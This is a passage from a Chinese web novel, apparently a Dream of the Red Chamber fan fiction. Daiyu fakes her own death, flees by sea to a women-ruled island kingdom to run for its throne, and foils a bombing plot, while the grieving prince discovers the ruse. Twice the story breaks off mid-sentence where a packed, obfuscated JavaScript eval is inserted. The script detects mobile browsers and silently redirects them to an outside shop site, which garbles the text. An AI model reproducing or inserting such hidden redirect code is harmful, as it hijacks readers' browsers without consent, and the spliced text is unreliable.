禛钰低头略一沉吟,感受着即将奔涌的泪意,腮骨动了动,知道她的眼泪已经引过来了。 衣架上牙白的衮龙袍,被扯了下来,徐徐套在自己身上。 “姑娘忘了不成?”他偏过头,在她耳畔喑哑地笑了笑,“孤是太子,不是你表哥。圣旨已下,该你的一品夫人,谁又敢赖不成。” 他从容自定地系好袍带,走了两步,偏过头来,唇角极力勾出一抹邪性的笑意,“孤只求数夕鱼水之欢,并无与表妹共白头的意思。” 说罢,男人扣起玉带,笑得放肆恣意,扬长而去。 那笑声听在黛玉耳中,仿佛失伴孤雁的啸音,极力鼓动着残破的双翼,向绝望的山崖俯冲下去。 黛玉紧抿着唇,倚在床柱上,浑身抖得厉害,好似外面的寒风冷露都贯穿了身体,带走了她与生俱来的东西。 她知道,除了眼角最后一滴泪珠儿,往后余生,她再也不会流泪了。 113.吾皇黛玉第一百一十三回 忠婢随主生死不惧,娇花艳骨一抔冷灰 因逢国丧,太子妃甄选一事被迫暂停,采选使沐昭宁见太子回来,忙问他:“我替你选了十个秀女,你赶紧挑一个太子妃出来,剩下的就好放回家去了。” 禛钰像看傻子一样,瞥了他一眼,道:“我的太子妃还用你挑?你自己选一个做王妃,带回滇南去罢。” 沐昭宁隐约有一种上当受骗的感觉,可是又没有证据,咽了咽口水,问:“真的,假的?” 禛钰见他这副模样,心知这十人里头,大抵是有他钟意的对象了,反倒有些羡慕他。 “是的,选中谁,她就是你的了。” 沐昭宁嘿嘿暗笑,抓耳挠腮地走了。 翌日,十名待选太子妃的秀女都被打发出宫,待国孝满后,均可自行聘嫁。 伺候圣寿上皇的侍长贾元春,原本要被宣隆帝下诏殉葬,也被太子劝止,让她还做侍长,奉养在宫中。 探春回到长林园,才知道二姐姐也从金陵回来探亲了。再过半月,贾赦夫妇及贾琏就要被问斩了。说到底,她是为收葬父母兄弟而来。 三春及黛玉、湘云又重聚在潇湘馆,商讨如何掩灵、殃榜等事。 原本这些该是王夫人及宝玉料理的事,因母子失和,一个哭天抹泪,怄病在床,一个暂住在卫若兰府上,不曾回来。贾母年及耄耋,忘性大,言语常乱,人已经半糊涂了。只得由她们几个姑娘经办。 虽说黛玉被宣隆帝赐婚给了贾瑛,在探春看来,二哥是配不上林姐姐的,只是她同样很希望黛玉能当自家嫂子振兴门楣,怀愧之余又满怀期待地喊了黛玉一声“嫂子”。 黛玉脸上搁不住,只道:“先亲后不改,我还是你林姐姐。” 听这话并未否认圣旨赐婚的意思,探春也是欢喜,忙改口还叫她林姐姐。 迎春拿主意说:“咱们毕竟是坏了事的人家,也不能用棺椁开丧破土,不如就在城外新治一个化身窑,一家子骨肉,烧了用坛子收埋了。” 探春道:“可是这话,也只好这么着了。” “我看也不必收了,烧了一撒随风化了罢。”惜春捻着佛珠说,近年来她越发向佛,目空一切,漠然平静,说话行事都不带一丝情绪。 长兴侯府说得好听是侯府,仅靠那一点爵禄,根本支撑不起来,只怕开窑的钱也难凑。 黛玉也不谈银两的事,只说:“过几日,官府要来征收秋粮田赋,我也要去城外,这事就交给我来办。” 三姊妹称谢不迭,探春有心在家中兴利除弊,奈何阻力重重,如今也心灰意冷了,见邢岫烟回家去了,就主动毛遂自荐,要来长林园暂替蒙师之职。 黛玉欣然应允。 湘云见姊妹们汇齐了,只差一个云岫散人。一时技痒,又想吟诗作赋,忙将黛玉中秋写的长诗偷出来,拿给姊妹们鉴赏。 探春细细品读了一遍,感慨道:“不亏是潇湘子稿,悲戚缠绵,哀婉凄切。” “秋日盛悲歌嘛。”湘云眼巴巴地说:“咱们的诗社都散多久了,也没人作兴,如今又是芙蓉花开的时节,咱们可以续起上回的芙蓉社了。这一回该轮到林姐姐作东了!” “等修好了化身窑,我预备好果点,就来请各位诗翁了。”黛玉也没有推辞,她留在人间的时光极其有限,若不与姐妹们再好生聚一回,只怕就没机会了。 这时候晴雯走进来,递了一张粉红花笺给黛玉。 黛玉展开一看含笑不语,递给迎春,迎春看后也是笑,又传给惜春,惜春阅后只是念佛,又转给湘云。 见大家如此神态表情,探春不由翘首看去,湘云早就好奇死了,拿起花笺就念。 “昭宁谨奉探春姑娘:前夕中秋,月满天心,小王羁栖京城日久,思乡心切,以饵块炒蜂蛹令秀女食之,实为促狭之举。 唯姑娘面不改色,泰然品尝,一滴无存。小王莫知所为,寤寐思之,心花怒放,重阳日欲携礼来拜,若蒙姑娘推诚一见,或对弈手谈,或吟诗词会,小王感激不尽。” 探春听了,忙将粉笺抢过来,扔在地下猛踩几下,红了脸说:“什么登徒浪子,递送些混话进来,还不快烧了去。” 众人笑个不停,黛玉虽与滇南王不过两面之缘,但却算得上过命的交情了,便笑道:“看来芙蓉社要再添一个滇南诗人了。” 迎春笑道:“只怕翻过年去,咱们家要飞出去一只金凤凰了。” “芙蓉女儿会,哪能请外男来的!”探春并不回帖,只叫晴雯回绝。 “从前多情子与天星郎将,不也参加过,而况天星郎将还是太子,再多一个王爷又何妨。”湘云笑道,硬是握住探春的手,强令她书了回帖。 谁知晴雯拿了回帖出去,又拉了两个人进来,“凤奶奶、宝二爷也来了!” 黛玉抬头看去,暌违已久的少年仿佛成熟了许多,棱角分明,气质硬朗起来,眸中透着一股炙热的狂执,细看之下,让人疑畏。 “监社御史赶巧了,重阳节咱们起诗社呢!”黛玉避开宝玉的目光,搬了一把椅子请凤姐坐。 宝玉笑了笑,“我许久不想诗词,少不得胡诌了。” 凤姐指着黛玉对荷姐儿说:“荷姐儿,这是你表嫂。”毕竟凤姐已经与贾琏义绝,她是按王家亲戚关系论的。 荷姐儿口齿清晰地喊了一声“表嫂!”,又向黛玉福礼下拜,端的大方。 “嗳,荷姐儿乖。”黛玉应了一声,只把宝玉笑咧了嘴。 “听我母亲说,表嫂在长林园办了学堂,荷儿也到了该启蒙的年纪,特具束脩并贽见礼,还请表嫂准我附学。” 一段抑扬顿挫的话,只把众人都逗笑了,凤姐揽着荷姐儿的肩说:“我早认命了,甘心做个乡下地主婆,这孩子却不肯在田舍之家,非要读书认字,我只得厚颜带了她来。” 黛玉笑道:“不但她来得,以后萌哥儿也来得。” 众人又在潇湘馆中叙些家常,亲亲热热,仿佛与过去一样,但又有什么不一样了。 送走了凤姐、贾瑛两个,黛玉就着手在郊外修造化身窑,及到八月下旬就建好了。 自前次一别,黛玉已有十数日不闻禛钰的消息,亦不见他的人影了。 从前总觉得与表哥在一起时光如梭,如今分别不过半月,就有度日如年之感。 她与晴雯漫步在长林园中,蓦然想起陆游与表妹唐婉伉俪相得,又被迫分离的故事。 相传陆放翁曾游沈园,偶遇前妻唐婉,将伤感离情寄于半阙《钗头凤》,信笔题于园壁之上,唐婉见之,又续写了后半阙。 黛玉行至凹晶溪馆,偶然兴动,唤晴雯取笔墨来。 她援笔洇墨,在芙蓉花掩映的墙上,写了一首《唐多令》。 粉堕水晶匣,香残鲛绡纱。秋风寒尽染霜花。堪恨草木谪仙家,凭孤雁,落天涯。 才填了半阙,黛玉悲心钝痛,抛笔不写。想来表哥再不会履足此地,空留壁上,只怕也无人相续了。 乍见枝头芙蓉秋艳,傲霜绽放,黛玉耳畔响起镜中老道所言:黄昏日暮,昼阴夜阳;芙蓉双死,艳骨成灰。 一时怔仲,不由痴想:情知此话是老道的谶言,想是我就要死了。若是艳骨成灰,那化身窑便是我的归处。相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晴雯皱眉道:“那宝玉怎么会在我的墓里?难道他也重生了不成?” “非也!”渺渺真人将花白胡须一捋,笑道:“他不是贾宝玉,而是甄宝玉。你表哥不忍心将你焚化,也不愿将你配与一个孽子凑冥婚,把那五更泻死的小子给焚了扬灰。恰遇见饿死在路边的乞丐甄宝玉,就把他放进来,与你作伴。” 黛玉沉吟片刻,一时解悟,“真亦是假,假亦是真,无中生有,有中还无。甄玉为丐,贾玉亦为丐。生也晴雯,死也晴雯。鸿蒙无心,亦可生心。生死齐一,有无互转,本就是一样的,无谓分别。” “仙子深慧超然,怨不得鸿蒙为你动心。”渺渺真人抚掌一叹,“二位为救生民,慷慨赴死。有道是天将救之,以慈卫之。以仙子之智,瞒天过海之法,改命换运之计,已然成竹在胸了。” 说罢,跛足道人变锄为拐,架着拐一颠一顿地走远了。 晴雯尚在懵懂间,黛玉在她眼前打了个响指,会心一笑:“逃过一死,岂不幸哉!” “姑娘,如何逃?”晴雯犹是不解。 黛玉指着棺材里的甄宝玉和晴雯说:“把他当作我烧了,你还是你呀。” 晴雯恍然大悟,惊喜万分,拍掌道:“原来如此。” 黛玉低头一叹,“只是苦了至亲爱友,少不得要为我们两个伤心一阵子了。” “那咱们‘死后’,要去哪儿呀?”晴雯又问。 残阳余艳中,黛玉蓦然回首,远眺青山绿水,徐徐道:“浮海茜香国,做女儿国的王。” 114.吾皇黛玉第一百一十四回 天星郎痛失潇湘妃,忘情女浮海茜香国 皇城太庙中,前来吊唁上皇的茜香国宰相真如密,正向太子禛钰表达慰问之意。 真如密一身月白裙袍,银环素冠,她年逾四十,乌发如绸,容貌甚美,脸上半点皱纹不生。她有一种从容自定的风采,并不像遐域小国那些羞王怯贵的使臣。 禛钰一见她就觉得,此人气度不凡,非同寻常。按理说,前次他去茜香国时,就有意推举真如密为国主,避免旷日持久的争竞,让佛朗机国再次趁隙滋事。 毕竟真如密辅佐过三位女国王,出将入相,功勋彪炳,王位唾手可得。 前两位女王都被情郎勾去,为爱弃国,后面一位女王特意选了年及不惑的智者,奈何也疲于政务,改元数年后,就驾鹤西归了。 比起走马灯似换下去的女王,茜香国的百姓,其实更想拥戴这位能力卓著的女宰牧为国王。 然而真宰相面对民众日益高涨的呼声,执意固守君主选拔制,不肯坐上王位。 真如密跪在圣寿上皇的影像面前,依照中原礼俗,供茶烧纸。 章明脚步匆匆地走了过来,神色凝重,咬了咬牙,向禛钰开口道:“殿下,林少师告了丧假。” “史太君死了?”禛钰微微侧头,第一反应就是这个。 忽听得一声抽吸,原是真如密烧纸钱时,手指不小心撩到了火舌上。 章明将眼一闭,硬着头皮说:“是林姑娘……” 禛钰肩头一震,耳畔“咣铛”一声,却是真如密手里供的一盏热茶,滚跌下来,摔得粉碎。 旁侧的太监忙过来收拾了,嘴里还念:“岁岁平安,花开富贵。” 真如密回头望了一眼,太子禛钰已经消失不见。她定了定神,再次将一盏茶稳稳地摆在了供桌上。 禛钰飞马狂驰至长林园前,见门楣上已挂了孝幔,他慌忙滚鞍下马,竟有些狼狈地滑倒在地。爬起来后,才发现自己浑身都在惊惧地颤抖。 章明追迟一步,见太子已经踉踉跄跄地奔了进去。 潇湘馆中,悲泣痛哭之声,哀哀不绝。禛钰越过一群白衣仆妇,抢进门去。 却不见林姑娘,竟是脸色苍白的晴雯,静静地躺在床上。 一身白袷衣的林海坐在椅上,怀中环抱了一尊天青釉的大瓷坛,紧紧咬着下唇,老泪纵横。 禛钰起先见到晴雯死了,还有一丝侥幸,此时见那瓷坛,心底彻底着了慌,头顶嗡的一响,两手扳住林海的肩头,哽声道:“表叔,不要告诉我她在这坛子里……” “表叔?”林海缓缓抬头,望着他冷笑了一声,索性将坛子往他身前一送,泪涌不住:“接着罢,这是你表妹。” 禛钰胸口剧烈地起伏着,两手从林海的肩头脱力滑下,愣是不敢接,呆立在那里,如石化了一般。 林海的眉头皱成了川字,他怅然地叹了一口气,将瓷坛搁在了桌上。 又从怀中抽出一张纸,恨恨地拍在了太子的胸膛,抬腿走了。 章明红着眼眶,将视线从晴雯身上挪开,把落在地上的纸捡了起来,递给太子,见他不接,叹息道:“是林姑娘的血书。” 猝不及防,禛钰一把将纸抓了过去,薄纸脆响了几下。 章明见他动作了,脸上更添忧色,有种不祥之感油然而生。 上面满纸血墨交融,用琴谱写就,似乎是一封密信。 禛钰才看了二三行字,彻骨的寒凉就漫上了心头。 “父亲大人膝下敬禀者: 不孝女绛珠,自见弃于人,哀怯多愁,辗转无寐,但看长林丽园,形同牢囚,潇湘清馆,亦如病室。渐染风寒郁肺之症,亦抱膏肓不愈之疚。可知薄命有定,非人力可强挽。 无奈留老父孑然一身,女儿寸恩未报,愈不堪忍。幸吾妹湘云可替侬尽孝,以释远念。望父亲容谅遣怀,祈自珍重。 侬乖违礼教,挚爱表哥,不悔情痴,秋扇见捐,亦不怀怨。幸而病笃健忘,难述前情,而今幡然断念,泪尽歇心。 但惜列祖劭德,父亲清名,侬未嫁病夭,不敢留瑕体于世,受人浮议,故命晴雯将侬化身焚净,淹滞残灰以施花肥,不亦善夫。 晴雯与侬娇喘共病,嗽声同怜,相约碧落黄泉,生死为伴。绛珠有伊,亦复何求。 人难留,心上秋。侬去也,雁离别。父亲案牍纷烦之暇,巡行江河之时,若抬头见孤鸿南飞,哀哀长鸣,那便是女儿唤父。 夜雨寒灯,悲声匝地,绝笔之言无有泪和,唯有绛血与乌金齐下,以表赤心。” 禛钰只觉得轻薄纸笺上,黑红的字符点点滴滴跳跃起来,带着丝丝缕缕的血腥气,劈头盖脸向自己砸来,刺得他心痛无极。 是他亲手将她推开,亲手逼她倒向黄泉。而那个傻姑娘,无疑是用血作泪,告诉他“情若忘,毋宁死。” 她分明可以恨他怨他,可以诉委屈,可以不甘心,却偏偏敢写“挚爱表哥”,至死无悔,将这片痴心尽付于他,教他情何以堪…… 章明眼睁睁地看着,汹涌的眼泪,如决堤的潮水一样,从太子的眼中淌下来。 他像是失了灵魂的空壳,路都不会走了,动一下就跌一跤,好似除了眼泪,无所依凭。 章明搀起太子,从没有想过有一天,软弱、哀伤、深悔、悲痛,这些词会浮现在这个人的身上。 浮云缭乱,星槎海上,茫茫汪洋中南风呼啸,往海船甲板上席卷而来。 晴雯虽披了厚实的哆罗呢斗篷,还是忍不住打了个寒噤。她还犹不敢置信,自己与姑娘就这样来到了海上。 一把金瓜子,两张通关文牒,三套换洗衣服,她们就这样离开了故国。黛玉只从妆奁中拿走了四样东西,白瓷珠簪、珐琅珍珠怀表、追诛及洪音贝壳。 通关文牒是林海亲自为她们盖印的,除了他,旁人都不知情。 也不知平安、紫鹃、雪雁、永龄几个要哭成什么样了,还有太子殿下…… 晴雯忍不住道:“姑娘,太子见了你的血书,还不得哭死。” 黛玉掀开兜风帽,微笑着扬起满目惆怅的脸,“他把我的眼泪都夺走了,那就让他哭个够吧!” 两个明媚娇艳的姑娘,就这么轻装简行登上了出海的大船,一些不怀好意的男人很快盯上了她们。 晴雯与黛玉对视一眼,在甲板上谈笑自若,坦然面对众人或惊艳或垂涎的目光。 一个圆脸阔口的络腮胡子摁捺不住,率先走过来攀谈:“看二位姑娘长得娇花一般,莫非不想嫁汉子,所以逃婚到茜香国去?” 他一面笑嘻嘻地问,一面手里还掂着银锭子,似乎在显示自己雄厚的财力。 黛玉并不答话,打量了这汉子一眼,此人面圆鼻低,眼下发黑,必是重欲之人。 一脸了然地说:“想必阁下是冲着走婚去了。” 络腮胡子扣了扣脸颊,说:“嘿嘿, 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待船舱中一出“仙人跳”上演之后,黑衣公子的扈从立刻冲上去,抓住了二男一女的嫌疑人。只把络腮胡子吓得魂不附体,撂下满床的银锭子,慌不迭四下找鞋。 与黑衣公子擦肩而过的时候,黛玉微微侧头,说了一句:“渔婆网疏,漏了蛟龙。” 只听噗通一声,晴雯将络腮胡子的靴子抛到黑衣公子胸前,笑咪咪地说:“真真国的斥候把谍报藏在了靴皮夹缝里。” 那络腮胡子闻言色变,又见黛玉与晴雯二女将他堵在舱中,不得出逃,即刻眸露凶光,抄起银锭子就向她们砸去。 黛玉掀开斗篷去挡,晴雯随即飞镖、飞针齐下,将那人击晕。 黑衣公子将宝剑从剑鞘中抽出二寸,划开靴子,果见其中密藏了字条,可惜是外国文字,他看不懂。 黛玉偷瞄了一眼,笑道:“这是吐火罗文,事涉机密,我不便说。还请渔婆见谅。” 黑衣公子向左右低语了几句,随后便有人将晕倒的络腮胡子给架走了。 “你们跟我来!”黑衣公子将她二人带到一处僻静的船舱中。 见黛玉容姿绝艳世所罕见,而且机敏聪颖,精通四夷语,黑衣公子心下疑惑,问:“你为何称我为渔婆?” 黛玉徐徐折起兜风帽,笑道:“渔婆捕鱼,司寇捕盗,不是很像么?而况少司寇是女子,若是男子,我就称渔翁了。” “姑娘眼拙了,我胸前一马平川,喉结明显,个子又高,怎会是女子?”黑衣公子微微蹙眉,朗声大笑起来。 晴雯双臂交叠,扫了她一眼,道:“男女之别,关键在癸水,我方才与你握手时,就发现你正值经期第二天。” 此话一出,那姑娘旋即变了脸色,警惕地看了她一眼,低声问:“你们怎知我是少司寇?” 黛玉笑道:“茜香国司寇掌邦禁刑狱,而今女王薨逝,宰牧赴中原举哀,群龙无首,正是各国罪犯流窜作案的时候,在海船上见到少司寇并非罕事。而况你与属下行事不密,言语不慎,被人窥知身份,并不意外。” 晴雯闻言暗笑,从一上船,姑娘就带着她四下乱逛,为的就是找一个可靠的向导和保镖,凭她的读心神技,就选中了这位英姿飒爽威风凛然的少司寇。 “在下茜香国少司寇,向凌风。”少司寇肃立抱拳,又问黛玉:“敢问姑娘高姓大名?” “在下林思政,是来竞选王位的。” 115.吾皇黛玉第一百一十五回 露锋芒黛玉遇凌风,少齿痕禛钰破谜团 “林姑娘真抱负不浅也!”向凌风笑了笑,心下暗道:这姑娘太过年轻貌美,只怕情关难过,便是智珠在握,别具慧眼,胆识过人,真宰相也不会选她做国王,可惜了。 晴雯听其心声,看了黛玉一眼,暗示道:“茜香国女王更迭频繁,大多因情所困,疏忽政务。我们姑娘已是断情绝爱之人,一心思行善政,一定可以顺利当选的。” 黛玉笑着瞥了她一眼,心想这话也不必特意解释给少司寇听。 “我知道,真正能影响竞选结果的人只有真如密一人而已。” 茜香国中‘流水的女王,铁打的真相’。真宰相对王位候选人的意见,将影响绝大多数百姓的判断,若不被真宰相认可,其人再如何贤能明智,也无法成为茜香女国的王。 “林姑娘心里明白就好,是人就会有成见,若与真宰相言语多相扞格,很难在竞选路上走得长远。”向凌风好心提醒,她就是一个现成的例子。 茜香国竞选国主失败的女子,会最终按考绩择优采录,作为朝堂官员或内廷扈从。 已授予官身的女子,若想再次争夺王位,就必须放弃结婚生子,在原岗位上履职三年后,辞官再考。 向凌风现年二十六岁,从十四岁起她就开始为竞选国主做准备,第一次失败,做了三年典狱使。第二次又失败,做了三年内廷虎贲将军,第三次又失败,如今正职少司寇。 若非王位更迭过快,她也没机会考三次,可即便考了三次,她还是在最后一关,被真宰相无情地划分到了臣僚一列。 今次国主选拔,她还要继续履职半年少司寇,又与参选机会失之交臂。 黛玉与向凌风交流了半天,大致了解了竞选国主要做哪些准备,经受哪些考验,心里就有了底。 先要通过武考、文考,再抽签决定去哪个海岛哪个村做里正,需要凭政绩由里正、知事、明府、州牧一路从地方升到朝堂,再分配到朝廷百司观政学习,最后由民众投选出国王来。 一般考核期长达三年之久,遇到战争或天灾等特殊情况,可以酌情减短。 向凌风见自己提供的消息已经足够多了,趁机拿出那张密信,问她:“方才截获的密信内容,可否告知在下?” 黛玉沉吟片刻,说道:“我想事涉真真国,属于两邦之争,应由掌邦礼的宗伯处理。” 向凌风听了心中微恼,一拳砸在了桌上,“拿到我手里的谍报,为何要便宜了章德方那个贱人!” “这位章德方莫非是大宗伯?少司寇似乎与她不睦。”黛玉试探着问。 向凌风撇撇嘴道:“章德方是少宗伯,相当于礼部侍郎,恰是与中原太子对接的职务。她同你一样,都是渡海南下来的。据说还是太子故交。” 黛玉不由想到了章明,猜测此女未必不是禛钰安插在茜香国的耳目,那么此事就不能让她知晓,否则自己的身份很快就有曝光的危险。 思及此,黛玉便劝向凌风稍安勿躁:“向大人不必着急,此事若呈交由宗伯处理,已然来不及了。若以抓拿刺客排除险情论,少司寇也是管得了的。” 向凌风手指点在桌上,急忙问:“到底写了什么?” “真真国间谍告知国王:佛朗机人潜伏至刺桐港,在真如密归国的楼船中,囤积了大量的火药。只等楼船靠岸,茜香国百司相迎之时,来个一网打尽。真真国可趁机抢占茜草湾。” 向凌风眼眸一沉,拍案而起:“我就知道佛朗机贼心不死!真真国还妄想坐收渔利。” “不但如此,他们还想嫁祸宗主国,楼船是停泊在泉州刺桐港时被装了火药。”黛玉一时想到了禛钰,如果事情按敌人预期发生了,禛钰一定会受到质疑与追责。 闻言,向凌风心里有一丝慌乱,乘船从刺桐港到茜草湾需十日光景,从刺桐港到皇城还需要十日光景。真宰相返程之期就定在半个月后,她们是来不及通知她改换乘船的。 “眼下唯一的办法,就是即刻派船驱驰到刺桐港,在出海口拦住真宰相,不让宰相上船。”向凌风简单收拾了行囊,就要让人放下小舟,动身北上。 黛玉摇头,忙拦住她道:“不,八九月间海上多有飓风,若遇上骤雨连宵,小舟无法抵御海行风险,消息未必能及时传到。 而且佛朗机人把控着火药引爆的时机,必然是派人潜伏在楼船上,你们若将消息传到刺桐,那么爆炸地点也就改成了刺桐。 最好的办法是当真宰相的楼船行至微澜岛,我们的补给船至,上船抓捕引爆之人,再疏散人员至补给船,驶离楼船到安全距离,在无人海域射出火箭将楼船引爆。” 微澜岛是一座无人岛,是中原驶往茜香国的必经之地,方圆百里都是汪洋大海。 向凌风犹豫不决,担忧道:“万一没抓到点火之人,反而激起他玉石俱焚之念,该怎么办?” 黛玉的目光从她脸上扫过,淡然一笑:“我大概知道少司寇为何不能做国主了。” 帝王不知道问题的解决办法,大可由谋臣献策。但不能没有承担风险、战胜困难的底气。 关键时刻,一国之主若没有当机立断的决心,破釜沉舟的勇气,如何带领臣民走出绝境,开拓未来。 她们只需等到海船到岸茜草湾后,另行置船严密筹划,行至微澜岛,以逸待劳罢了。 距此千里之遥的故国,比邻长林园的长兴侯府,虽不在丧中,但家中的女人们哭得死去活来,沉痛之音远胜街坊。 原来是长兴侯贾瑛得知表妹黛玉亡故,口吐鲜血,晕死过去,王夫人请医延药了数日,才勉强拖住半条命。哪知有个癞头和尚来化缘,神不知鬼不觉地将贾瑛牵引走了。 没过几日,有相熟的世交偶然在街市上瞥见,长兴侯贾瑛已经剃发染衣做了和尚,正托钵沿街乞食呢。 王夫人忙遣人各处寻访,却一点儿音讯也无,彻底失了指望,家中古董玩器又被刁奴恶仆寻摸去卖了,越发乱做一锅粥。只得还叫薛姨妈母女住进来照管。 夏金桂与薛乡君争产的官司打了近半年,最初在县衙公堂,夏金桂按黛玉留下的提示打赢了官司,哪知薛家不服,上告到金陵府,那府尹吃了薛家贿赂,又把钱判给了薛家。 这样的结果,夏金桂哪里肯服,不曾想担当幕后智囊的林姑娘又死了,没人给她出主意了。辗转听人说当日将她当做疯子,送进镇魂庙的人其实是当朝太子。 一无所有的夏大奶奶狠下心来,靠一张好嘴请来二十条汉子,摇旗呐喊沿街喊冤,赫赫扬扬敲响了顺天府的登闻鼓,抱着嗷嗷待哺的儿子,要状告太子私囚孕妇,欺压良民。 偏生,忠顺王为了琪官被太子夺走的事怀恨已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047749|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,便在一旁扇阴风点鬼火,推波助澜,将事态闹大。 此事已经传到了宣隆帝的耳朵里,盛怒的帝王赶紧将儿子叫到跟前质问。 见太子行尸走肉一般,一脸抑郁愁闷气色,才不过说了两句话,眼泪就跟断了线的珠子一样,哗哗地往下淌。 这委屈巴巴,沉痛悔悟的样子,反倒让宣隆帝不敢在他面前高声斥责了,只让他自己赶紧把事情料理了。 只有章明知道,他的主子已经没有心了,眼泪越多,行事越狠。 太子将琪官送还忠顺王,将徇私枉法的应天府尹拿下大狱,又把琪官在紫檀堡的房舍田地积蓄,乃至应天府尹受贿的钱,全赔给了夏金桂。 夏金桂还有儿子要养活,并不敢很得罪太子,见好就收,事态很快平息。至于薛家母女,禛钰考虑还得靠她们两个穴中之鼠耗尽贾家,先饶子放过。 唯有袭人被这一出变故,带累惨了。 她从一个侯门公子的准姨娘变成了倡优小妾,还没过两年安稳日子,丈夫又干回了男宠的行次,房子田地钱又都没了。忠顺王爷也不收容她,由她自生自灭去。 袭人回到花家,又被哥哥花自芳卖给了一个鳏夫做续弦。 那鳏夫以典妻谋生,从此新媳变破席。 而被闲事岔开了片刻的太子,从悲伤中暂时脱拔出来,理智占据了上峰,他立刻带着章明回到长林园,派人将守灵的人全部赶了出去,命令他剖验晴雯的尸体。 “我不信她真的死了,她不是这样软弱的人!” 章明嘴角微动,面对晴雯的尸身,拿着刀的手停在半空,一滴眼泪落了下去,他身子一震,默然后退一步,转向太子:“殿下,我做不到!” 禛钰有些恍惚地抬眸,这还是章明第一次抗拒自己的命令,烦乱不安地问:“为什么?” “因为……”章明撇嘴凄然一笑,将手中的刀掼到地下,揪着太子的衣领,眼泪落下的同时,从牙缝中渗出一句话来:“我喜欢她!” 若非太子逼死了林黛玉,他心爱的傻姑娘又何至于殉主相随。 禛钰眼睫一颤,像是听到了一个晴天霹雳,他伸手挥开章明,眼眸中闪过几分迷惘,又很快被愤怒所取代,“从十二岁起,你就是华光选定的驸马,你怎么可以喜欢别人!” “我知道不可以,但我的心由不得我自己。”章明的眼里闪过惝恍的笑意,微微扬起下巴,喉结缓缓地滑动,“我吻过她,还咬过她……” 听着他哽咽的声音像呓语一样,禛钰的牙关绷得紧紧的,想要扑过去与他厮打泄愤。 忽然,他心中一动,用力将章明的衣襟掐住,呼吸急促地问:“你咬她哪里了?什么时候咬的?” 章明身子一凛,瞬间移到灵前,一把扯开晴雯的衣襟,露出了惨白无痕的左肩。 他浑身抖得厉害,唇边浮起了一个凄冷的微笑:“不是她,不是她……”尽管她们长得一模一样,可被他咬出的齿痕,根本不能用药祛除。 晴雯没有真的殉主,那么就意味着黛玉没有真的死亡。 禛钰“呵”了一声,眼泪哗哗奔涌,泪光中摇曳着仿佛重见天光的精芒,一种名为希望的火苗腾地亮起,越烧越旺。人只有一次死亡之象,一旦应了此象神鬼不觉,便可逃出生天,再不受死厄之苦了。想要她活着,这十年就必须当她死了。 116.吾皇黛玉第一百一十六回 足智多谋知人善察,化险为夷因势利导 五日后海船到港茜草湾,向凌风安排黛玉晴雯二人住进了海港客舍后,便雷厉风行地筹备物资,征调补给船。 黛玉与晴雯在客舍中安顿下来,翌日直到补给船已经起锚半个时辰了,她们才知道向凌风将她俩给撇下了。 “姑娘,少司寇不带我们去,是想独吞救人的功劳呢。”晴雯有些不满地说。 要是带了她去,包管什么凶嫌都逃不过她的窥心大法。 “她此去可能会无功而返。” 晴雯讶然:“为何?” 黛玉勾唇一笑:“因为情报上还写了,真如密已有所觉,那一行小字被向凌风的剑给割破了。我没看见也情有可原,不是么?” “什么?”晴雯瞪大了眼睛。 “我猜佛朗机人还做了第二手准备,那就是直接将铁壳锚雷,封入木箱中,埋在茜草湾下。 不管真宰相改换什么船,有没有觉察,只要一靠近茜草湾,伏兵就可以拉拽绳索引爆锚雷。 我让向凌风去接真宰相,只是用以延迟船进港日子,拿补给船混淆视听,方便我们排除险情。” 晴雯悚然一惊,瞬间腿软了几分,皱眉道:“难道、难道我们脚下的水域就埋了锚雷。” “只是我的猜想而已。”黛玉摸了摸她的脸颊,从容自定地说:“别担心,十天半个月它还炸不了。眼下我们要从茜草湾附近的渔民、纤夫中排查伏兵。待疏散了港域百姓后,再将锚雷给拆除下来,若拆不下来,只能海底引爆了。” “这样的大事,就我们两个来办?”晴雯心里一点底气也没有,她们初来乍到,人生地不熟,一靠岸就要面临生死考验。 黛玉好整以暇地说:“先买条小船,海岛密布的茜香国,不会泅水操舟,无异于寸步难行。” 茜草湾是茜香国第一大港,海岸线长达两百余里,沿岸设置了堡、寨、墩、烽堠等海防设施,用来拱卫海岛,抵御外侮。 二人去了渔民聚集的市集,目之所及十之七八都是女人,剩下的是白胡子老头和垂髫小儿。偶有几个年轻男子,左顾右盼地在市集中穿行。 与他们擦肩而过之时,黛玉忍不住皱了皱眉。晴雯抱怨道:“好腌臜的气味,比鱼腥味还冲,怨不得是臭男人呢。” 几家渔民卖的渔网,都织得极密,网眼只有一指大,可见近海的鱼快被捕捞一空了。 朝廷规定:官民人等,不得擅造二桅以上大船。而非二桅大杆之船,不足以对抗风雨,无法赴远海打鱼。 对于军事力量薄弱的女儿国而言,“寸板不得下海”这既是保护措施也是管制措施,造成近海少鱼的困境在所难免。 茜香国人通晓中原官话,官方文字为汉字,衣冠服饰也与九州大同小异,但大多数人日常交流还是多说闽语。 黛玉知道海国资源匮乏,大多数长期生活在海岛的人们,一生都没有到过华夏九州,他们有着局促狭隘的眼光和闭塞欺生的心态,性格偏执且精明,畏威易、怀德难。 若要买卖不吃亏,那就要表现得态度强横,熟悉行情,操一口地道的闽语。 说实话,这个黛玉还做不来,只能让晴雯拿出呛了黄汤辣水,喉咙要冒火的感觉,跟彪悍的渔女讨价还价。 最终以相对合理的价格买下了一叶扁舟。 二人泛舟海上,沿着茜草湾港口码头游了一圈,从近海抛锚的地方找起,重点查探栈桥之下的位置。 